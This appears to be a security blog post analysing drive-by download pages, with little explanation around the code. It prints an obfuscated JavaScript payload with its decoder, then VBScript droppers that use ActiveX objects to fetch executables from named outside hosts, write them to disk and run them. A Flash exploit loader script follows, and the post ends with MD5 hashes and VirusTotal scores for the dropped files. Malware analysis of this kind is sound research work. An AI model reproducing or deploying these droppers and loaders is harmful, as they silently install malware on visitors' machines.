71ADA689ADA5ADB2AA61686C626E4E6463595756A270AD6F
757441B343A5A7BDB3A2AF9F9D9F648163AEA59BAC96A5B4A8
61595BAE6C747D735EAC6F696C7469B872676F6958B9877C6B
705BAE787D7C765EAC7A72778669B87D707B7E58B97677706B
58595E4E6463595756595364646359575659536669B86E797C6
D58B97B7671685BAE747D75765EAC6A7A697B69B8716A797C5
8B98A867E795BAE797889755EAC6E7F68796663644156595364
6463595756595364646359595BAE768774865EAC6C70747D69
B87170796A58B98986726C5BAE767D77795EAC6C6F777569B8
6D6E776E58B97B897E6D58595E4E64635957565953646463595
75659536669B8726A796A58B97A7971705BAE658A85745EAC6
87E6B7B69B87F6F796A58B97A796B695BAE798885775EAC7C7E
697D66636441565953646463595756595364646359595BAE67
7C89795EAC676C697D69B8697B6A7D58B97A846F6A5BAE6389
78855EAC6F6C677669B8726F6D6A58B97A76717B58595E4E64
63595756595364646359575659536669B86B7D697F58B9777B6
B695BAE76887A885EAC666A677669B87C67796A58B989867E6
95BAE777475785EAC6E7C747C6663644156595364646359575
6595364646359595BAE777487745EAC6C6F657669B86D6C776
A58B978767F6C5BAE638A78885EAC77706C7C69B86D6E687E5
8B9797A7E7058595E4E64635957565953646463595756595366
69B8697A797F58B97A7B7D685BAE6B8787745EAC7B7C747969
B87D67697A58B98986696B5BAE767876755EAC6C7C67746663
6441565953646463595756595364646359595BAE768778845E
AC7B7C747D69B87F6F667A58B975857A7A5BAE768778845EAC
7B7C747D69B87F67686B58B979797F6D58595E4E64635957565
95364646359575659536669B87A7A787C58B97C867F7D5BAE7
478787A5EAC787F777B69B87B7D777158B98A897C685BAE677
A86775EAC6969747B666364415659536464635957565953646
46359595BAE658686785EAC6E72677569B86C6A786E58B9747
76E6D5BAE747476855EAC6A72768569B87B6B687F58B97A7A7
C7A58595E4E6463595756595364646359575659536669B87C7
A6A7A58B988737F7D5864A6BAABA6627240439AB7B8A8A557
7359A8B2A9B69C98A69E5B6669B8699B669D58B974A7699B58
626E644EBAA1A0A29E5BABB7B79EA364A598B2ABB7A17366B16
774747369609DACA7A9B06E769EA9AD98B07F4DA0AAAA9E9F
81ABB6AD9CA267A6B9A6B6ADA99FA79A6C746F69AF699F99A
97870AB9AAFA99CBCADA7A565A29EA1ABB8AB627240A870B2
A9BA5978A8AB94BD6C6C74419CA8A56CAD8069729F7567797
47EA2626162A29FADA0769EA9AD98B06FB59CB0A6A2ABADA8
AF7441ADA597B6A9B1A9A9738694B8AC719C9C9FA55B74BCA
7699B669D63A86D7E439BA59CA8B1A9B1AD65ADAB9CB8A96B
6073A59B9DA9A7B7599AA29AA6B7ADA776597985868D887D
7E7A6A6D67878679666A7B707871787B6F6C637B6487777069
7B7B7065898A767279697F55828072A899A09E96B8826A6272
40B09FA8B6A8A7A7A87697B3A7B8A69CA4AD61B7A7B5A2A7A
AAC8E74A1719CA99B9AA7A987B2A7ABA8A89F96A5B1A09C5E
6261B0A9B1A0AB9E74′);</script>
DEOBFUSCATES TO:?????????????????????????????????????????????????
hxxp://augreat.mine.nu/5d8u9c/1.php
<body><object id=”target” classid=”CLSID:88d969c5-f192-11d4
-a65f-0040963251e5″></object></body><script src=’/update/e95.js’>
</script><script>window.onerror=function(){return true;}</script>
<script>function c7edd27742(d42449f583, a5765a3d2e){var
fee11e53ab = ‘Y2FsbGVl’;var sprintf = window[unescapea('ZXZhbA==')];
var d667dfcf10 = arguments[unescapea(fee11e53ab)];var f4e01db5b0
= location.href;d667dfcf10 = d667dfcf10.toString();d667dfcf10 =
d667dfcf10 + f4e01db5b0;var f60004b96d = d667dfcf10.replace(/\W/g, ”);
f60004b96d = f60004b96d.toUpperCase();var d771352673 =
4294967296;var b22809efaa = new Array;for(var fb42e1c79d = 0;
fb42e1c79d < 256; fb42e1c79d++) {b22809efaa[fb42e1c79d] = 0;}
var a2c625e22e = 1;for(var fb42e1c79d = 128; fb42e1c79d;
fb42e1c79d >>= 1) {a2c625e22e = a2c625e22e >>> 1 ^ (a2c625e22e
& 1 ? 3988292384 : 0);for(var aa30788046 = 0; aa30788046 < 256;
aa30788046 += fb42e1c79d * 2) {var f3913e0ace = fb42e1c79d +
aa30788046;b22809efaa[f3913e0ace] = b22809efaa[aa30788046] ^
a2c625e22e;if (b22809efaa[f3913e0ace] < 0) {b22809efaa[f3913e0ace]
+= d771352673;}}}var a93017f98e = d771352673 – 1;for(var
efa881f14b = 0; efa881f14b < f60004b96d.length; efa881f14b++)
{var e1f6dd2a1f = (a93017f98e ^ f60004b96d.charCodeAt(efa881f14b))
& 255;a93017f98e = (a93017f98e >>>
a93017f98e = a93017f98e ^ (d771352673 – 1);if (a93017f98e < 0)
{a93017f98e += d771352673;}a93017f98e = a93017f98e.toString(16).
toUpperCase();while(a93017f98e.length <
a93017f98e;}var b169df7f88 = new Array;for(var fb42e1c79d = 0;
fb42e1c79d < 8; fb42e1c79d++) {b169df7f88[fb42e1c79d] =
a93017f98e.charCodeAt(fb42e1c79d);}var d24ca4af87 = ”;var
b76f66b77e = 0;for(var fb42e1c79d = 0; fb42e1c79d < d42449f583.length;
fb42e1c79d += 2){var f3913e0ace = d42449f583.substr(fb42e1c79d, 2);
var f07a3efb26 = parseInt(f3913e0ace, 16);var f42f2e68f2 =
f07a3efb26 – b169df7f88[b76f66b77e];if(f42f2e68f2 < 0) {f42f2e68f2
= f42f2e68f2 + 256;}d24ca4af87 += String.fromCharCode(f42f2e68f2);
if(b76f66b77e + 1 == b169df7f88.length) {b76f66b77e = 0;} else
{b76f66b77e++;}}var edb82182a7 = 0;try {sprintf(d24ca4af87);} catch(e) {}}
c7edd27742(‘B899AA639EA997B295A8AAA4AF98A583A69CAAA8A9B
7567F6268B0736B746B7277686D7E40BA97B462A899BC82B397A685
A79CA8568156B7B09DABA697B49B6A645DAD886F7A6E67B77D7189
6769AB787A717168AB897788725DAD856D897A67B77E79796E69AB
84787D6968AB7A6E88775DAD887A8A6E67B77A6F896769AB837B6E
7068AB856F837B5DAD796E866D67B77D7C897B69AB83857E6E68AB8
96F787A5DAD856C856967B76E70856C69AB88736E6E68AB897A878
65DAD7A677A6E67B76E6E776769AB787A6E6E68AB7A6C78785DAD7
B6A7B6867B7696E796E69AB83856F6968AB7A6E78785DAD7C78766C
67B77A7E797869AB84866E7068AB7A6C83835DAD796E786F67B7717
C7A6B69AB8477697968AB7A6C787A5DAD796C7A6C67B76E7074776
9AB75766A6F68AB886779735DAD866A7A6E67B76E7D756C69AB787
A7D6F68AB87777B7B5DAD776F7A6C67B77171796E69AB7B7B717168
AB7A6E7B7B5DAD7C6F7D6F67B771717C6F69AB7B7B6E7068AB7D6F7
B7B5DAD796E7D6F67B77E6A896E69AB7B7B717168AB8A6C787A5DA
D856D897A67B76E70897869AB8577796B68AB8A6C88845DAD89797
A6E67B77A71896B69AB787A7E7968AB7D6F88745DAD897A7D6F67B
77D7C796E69AB88847A6F68AB7A6E887A5DAD8978876B67B77E6E8
96C69AB79746E7068AB8A7785855DAD796E856967B77B79776869AB
85847B7968AB756A787A5DAD7C6D877867B76E70847769AB858669
6A68AB7A6B84865DAD737C7A6E67B76E6E796C69AB787A6E6E68AB
876779885DAD7A677C6867B7687B796E69AB74787B7168AB7A6E798
45DAD7B7C867A67B76C71796C69AB79776E7068AB75777B865DAD7
96E866B67B76E6E796C69AB73836E6E68AB7C7B787A5DAD7A67887B
67B76E70766869AB7478687B68AB777B767B5DAD897A7A6E67B77E6
D896B69AB787A717168AB8A6C88765DAD856D8A6D67B76D79796E
69AB87847D7B68AB7A6E88775DAD74687D7A67B76D7B7C7769AB7A
776E7068AB786A7B835DAD796E756867B77C6A7C6B69AB8579696A
68AB7D77787A5DAD897C786A67B76E70746869AB73747B6F68AB86
7A85795DAD84687A6E67B77D7B776C69AB787A6F6968AB886F7675
5DAD796F7B6867B76D70796E69AB7B776D6A68AB7A6E7B835DAD79
78856767B77169887A69AB7B786E7068AB7C7A74795DAD796E8667
67B76C6A847769AB867A6B6C68AB7A79787A5DAD7866857767B76E
70876669AB8788696A68AB7D77847B5DAD88677A6E67B76E7B7C77
69AB787A7B7E68AB756883775DAD8479897A67B76F6A796E69AB737
47C6B68AB7A6E87855DAD7468776A67B77169876F69AB7B776E7068
AB896E73745DAD796E7C6B67B77971876669AB8672696A68AB85777
87A5DAD897A796667B76E707C7769AB727B687168AB876F887B5DA
D8666776967B77171856669AB86846B6B68AB876F75755DAD766686
7867B76868736769AB7573686868AB747972765DAD7678786767B76
F6D867869AB88887E7068AB746687765A617E40BA97B462A09DA4A
686A2B1A5A38BACB0A9567F6268B07766746672727342B997B656B2
A3B184B297A889ABBC9D588056B497BB8EA799A779B39AA770A49DB
19DB89E626C586A7E40BA97B462ABA8B597BD89AEAB9C9D969FBE9B
627F58A0A897B478AEB19BA3969FBE9B626F5860B397BD82B1A39C8B
ACB0A96172BA6B706C714EACA3B458ABB3A8A5AF95AEA19CA85681
56B7B09DABA697B49B6A645DAD7C667D6667B771687C66665F7D4C
ABA8B597BD89AEAB9C9D6373649DA7B68BA8B597BD89AEAB9C9D6B
A9B4A8A3BB8BA4AC9AA962B5B2AA99BC89B09FA6A78BA1BD9B6D71
4CAA9D99B378B0A5A5ADAB5880566C9EA7A3A88BB3A8A5AF96B179
9CA7A8A9A9B562655873AE7866727268686C65AC9BA3B27AA4B299
AF89ABBC9D734DA3A9A3B1B4B1588056B29BB96279AAB597BD5E6B7
D429EB2A8645EAB7F6873AC72AC9BA3B27AA4B299AFA97DAB63636
C40BF40AFA7A5A7B5AF9F9F9F627558B6A6B697BB95A4A1A79B6461
62B299B18FA5A59A85B19C9D7E40C140A8B7A69BB79FB3A462A99DA
C96A6B697BB95A4A1A79B6CA9B2B499B196A2AD9AA76E58ABB3A8A
5AF95AEA19CA889ADB0A76B42B34DADAC9FAEA75860B6A6B697BB9
5A4A1A79B72A2A7B09FACAB607672B5B2AA99BC89B09FA6A78BA1B
D9B6D40BD4C5858B6A6B697BB95A4A1A79B64617F62ABA8B597BD8
9AEAB9C9D7E40C140B5B2AA99BC89B09FA6A7587563A9B4A8A3BB8B
A4AC9AA964B5B79AABB7A8ADA4A96A6864B6A6B697BB95A4A1A79B
979FBCA7676A6C714EA8A7B6ADAAB156B7A6B4A3B18BAF9FA89B7D
4CB542B997B656B1A4A2588056B2ABAEAE7342B298AE567F629CA7A
6ABB19BB0B6669FA8AA89A2A7AF9DA6B778BD7FA66A5FACA4A8AB9
BB6696166B298AE9BA5B67342B7A8BD56BD4CA79AAD64B3A6A7B06
0A6A8AD6477B4B499B16B5F70A4A7B95879B5A8A5AF6A6B64A6A8A
D6477B4B499B16B5F70A4A7B95879B5A8A5AF6A6B64A6A8AD6477B4
B499B16B5F6D714CBF589BA4AAA79E6AA76158BEB37F40B1A4A266B
2A6A9A46AB09DAF6385A6A0A7A5AC606C62B29BB962879AAD9BA7
AA6A6B64A6A8AD6485A4AC9D9BB75E6D62B0A7AF589298AE9BA5B6
60616F56B29BB962879AAD9BA7AA6A6B61734DA5A6A070B59DAC95
9BB5ABA7B5AC80A897A89BB46AA69DBA569398ACA79BAC6B5F705D
706F666671646B5F7D625842B298AE64B5A7AC8AA8A7B99BB5B6809
DA49AA9A86AB09DAF6385A6A0A7A5AC606C6274AE73746B6C786C
7B6E6B7D42A7A5A072A9A7B68A9DB4ABA9A9B68A9D99A79BB65EB0
A7AF589298AE9BA5B660616F66BC6774756C6D796D7C5F7D4CA79A
AD64B79BB6949DA9B89BB7AA8AA7999CA8A86CA4A7B95887A5A0A
999B66A616473AE756875766D6E7A6E6D714CB19AA271A9A9AA94A
7A9ADA8A9B87EA7A39C9DB55EB29BB962879AAD9BA7AA6A6B6468B
B67766976776E6F7B5F7F40B1A4A266B69BB888A7B3AD9DB6AA8C9B
A3A69DAA6BA4A9AD62919AA2A899B85E6B6E68B07468776A77786F
706C714EA5A4AC66ABA8AA969BB3B79DABB77EA997A6A7AA60B19B
BB5691A4A29DA6AA6C5F6E72B0697569786B787970617E40B398AC7
0AB9DB788A9A7B7A7ABAC8B9BA59AA7B460A6A8AD6485A4AC9D9B
B75E6D6272BA696A766A796C797A61734DA5A6A070B59DAC959BB5
ABA7B5AC80A897A89BB46AA69DBA569398ACA79BAC6B5F7066BA73
6A6B776B7A6D7A6B7342B298AE64B5A7AC8AA8A7B99BB5B6809DA4
9AA9A86AB09DAF6385A6A0A7A5AC606C6274AE73746B6C786C7B6E
6B7D42A7A5A072A9A7B68A9DB4ABA9A9B68A9D99A79BB65EB0A7AF
589298AE9BA5B660616F66BC6774756C6D796D7C5F7D4CA79AAD64
B79BB6949DA9B89BB7AA8AA7999CA8A86CA4A7B95887A5A0A999B6
6A616473AE756875766D6E7A6E6D71′);</script>
DEOBFUSCATES TO:?????????????????????????????????????????????????????
hxxp://augreat.mine.nu/9b5a5g/10.php
<SCRIPT language=”VBScript”>
ktpnlpw=”http://livecore.homeunix.com/direct.php?p=10″
If navigator.appName=”Mic” & “rosoft” & ” Internet ” & “Explo” & “rer” Then
If InStr(navigator.platform,”Win32″) <> 0 Then
Const gyknx=20
Const bxjyvraos=3
Const ecviz=1
Const wkul=2
Dim fbumhswups
Dim nbuisuxlz
Dim nukn
Dim hxptvuuqh
Dim iewy
Dim slxnuqhsc
Dim uqcfdx
Dim bngwham
Dim cvtytprf
Dim eadmsft
Dim vwtyuga
Dim mwpnjf
Dim fyoynfea
Randomize
bngwham=”iedr.exe”
Set fbumhswups=document.createElement(“ob” & “ject”)
fbumhswups.setAttribute “i” & “d”,”fbumhswups”
fbumhswups.setAttribute “cla” & “ssid”,emfdhld
Set slxnuqhsc = fbumhswups.CreateObject(“Shel” & “l.Applic” & “ation”,”")
Set oFolder = slxnuqhsc.NameSpace(gyknx)
Set oFolderItem=oFolder.ParseName(“Symbol.ttf”)
Font_Path_Components=Split(oFolderItem.Path,”\”,-1,1)
uqcfdx= Font_Path_Components(0) & “\” & Font_Path_Components(1) & “\”
bngwham=uqcfdx & bngwham
mwpnjf=”Micros” & “oft”
fyoynfea=”XMLHT” & “TP”
set nbuisuxlz = CreateObject(mwpnjf & “.” & fyoynfea)
sdfgfnhwieu=”G” & “ET”
HTTPSession=nbuisuxlz.Open(sdfgfnhwieu,ktpnlpw,0)
nbuisuxlz.Send()
On Error Resume Next
cvtytprf=nbuisuxlz.responseBody
On Error Resume Next
Set hxptvuuqh=fbumhswups.CreateObject(“ADOD”&”B.Str”&”eam”,”")
If Err.number <> 0 Then
Set nukn=fbumhswups.CreateObject(xaflkkap(),”")
Set eadmsft=nukn.CreateTextFile(bngwham, TRUE)
Plugin_size=LenB(cvtytprf)
For j=1 To Plugin_size
vwtyuga=MidB(cvtytprf,j,1)
ByteCode=AscB(vwtyuga)
eadmsft.Write(Chr(ByteCode))
Next
eadmsft.Close
Set iewy=fbumhswups.CreateObject(“WScri” & “pt.Shell”,”")
On Error Resume Next
iewy.Run (bngwham),1,FALSE
Else
hxptvuuqh.Mode=bxjyvraos
hxptvuuqh.Type=ecviz
hxptvuuqh.Open
hxptvuuqh.Write cvtytprf
hxptvuuqh.SaveToFile bngwham,wkulslxnuqhsc.ShellExecute bngwham
End If
End If
End If
Function emfdhld()
emfdhld = “cls”&”id:BD9″&”6C5″&”56-6″&”5A3-”&”11D0-98″&”3A-”&”00C04″&”FC29E36″
End Function
Function xaflkkap()
emfdhld = “Scripting” & “.FileSyst” & “emObject”
End Function
</SCRIPT>
please check url<BR><B>Error:
<script language=”VBScript”>
on error resume next
dl = “http://neiron2011.com/”&”check/vers155.php?q=2″
Set df = document.createElement(“obj”&”ect”)
df.setAttribute “cla”&”ssid”,emfdhld
inenrlyu=”ft.”
powvsw=”M”&”ic”
qivzx=”HT”&”TP”
wvgh=”XML”
yabwj=”ro”&”so”
sdivdje=powvsw&yabwj&inenrlyu&wvgh&qivzx
Set x = df.CreateObject(sdivdje,”")
vscsxa=”A”
nudecyeaha=”t”
zwbqfpus=”d”&”od”
gqchn=”b.S”
caejhvl=”am”
ksqkkphmg=”re”
iicdmhf=vscsxa&zwbqfpus&gqchn&nudecyeaha&ksqkkphmg&caejhvl
mgsmzc=iicdmhf
set YY = df.createobject(mgsmzc,”")
YY.type = 1
str6=”GET”
x.Open str6, dl, False
x.Send
pnpfv=”ieu”&”r2.exe”
set FF = df.createobject(xaflkkap(),”")
set tmp = F.GetSpecialFolder(2)
pnpfv= FF.BuildPath(tmp,pnpfv)
YY.open
YY.write x.responseBody
YY.savetofile pnpfv,2
YY.close
set MM = df.createobject(“Sh”&”ell”&”.Appl”&”ica”&”tion”,”")
MM.ShellExecute pnpfv,”",”",”open”,0
</script>
hxxp://livecore.homeunix.com/direct.php?p=10 installs ‘index’ with exploit
hxxp://augreat.mine.nu/8f8k2p/f.php installs malware through flash exploit
<script type=”text/javascript” src=”/update/swfobject.js”></script>
<div id=”flashcontent”>111</div><div id=”flashversion”>222</div>
<script>window.onerror=function(){return true;}</script>
<script language =javascript>
if(deconcept){
var version=deconcept.SWFObjectUtil.getPlayerVersion();
if(version['major']==9){
document.getElementById(‘flashversion’).innerHTML=”";
if(version['rev']==115){
var so=new SWFObject(“/update/i115.swf”,”mymovie”,”0.1″,”0.1″,”9″,”#000000″);
so.write(“flashcontent”)
}else if(version['rev']==47){
var so=new SWFObject(“/update/i47.swf”,”mymovie”,”0.1″,”0.1″,”9″,”#000000″);
so.write(“flashcontent”)
}else{
document.getElementById(‘flashcontent’).innerHTML=”";
}
}}else{
var so=new SWFObject(“i115.swf”,”mymovie”,”0.1″,”0.1″,”9″,”#000000″);
so.write(“flashcontent”)
}
</script>
These are the files that were pulled from these pages.
load.exe
Result: 17/36 (47.22%)
MD5: 0aea6f609ee72aa41e4b7110d6716ed7
VirusTotal
pdf.pdf
Result: 6/36 (16.67%)
MD5: 7711238b6acc22cf3c2daf407f293d30
VirusTotal
load.exe (2)
Result: 15/36 (41.67%)
MD5: 47c1f519814fe592708b79ab65bcec99
VirusTotal
index
Result: 20/36 (55.56%)
MD5: caf1dcb75f7fd2404c8fe29b517a95a9
VirusTotal
i47.swf
Result: 13/36 (36.11%)
MD5: a86478c395df2d22adcf4487d1c479bd
VirusTotal
i115.swf
Result: 13/36 (36.11%)
MD5: a63e279c5c56f3d7c119a321a3f1ba51
VirusTotal
services.exe
Result: 8/36 (22.22%)
MD5: 858c3f15e68fdcc7df78ba85f14a0122
VirusTotal
0 Responses to “Internet Exploitation Adventure”
Leave a Reply
You must login to post a comment.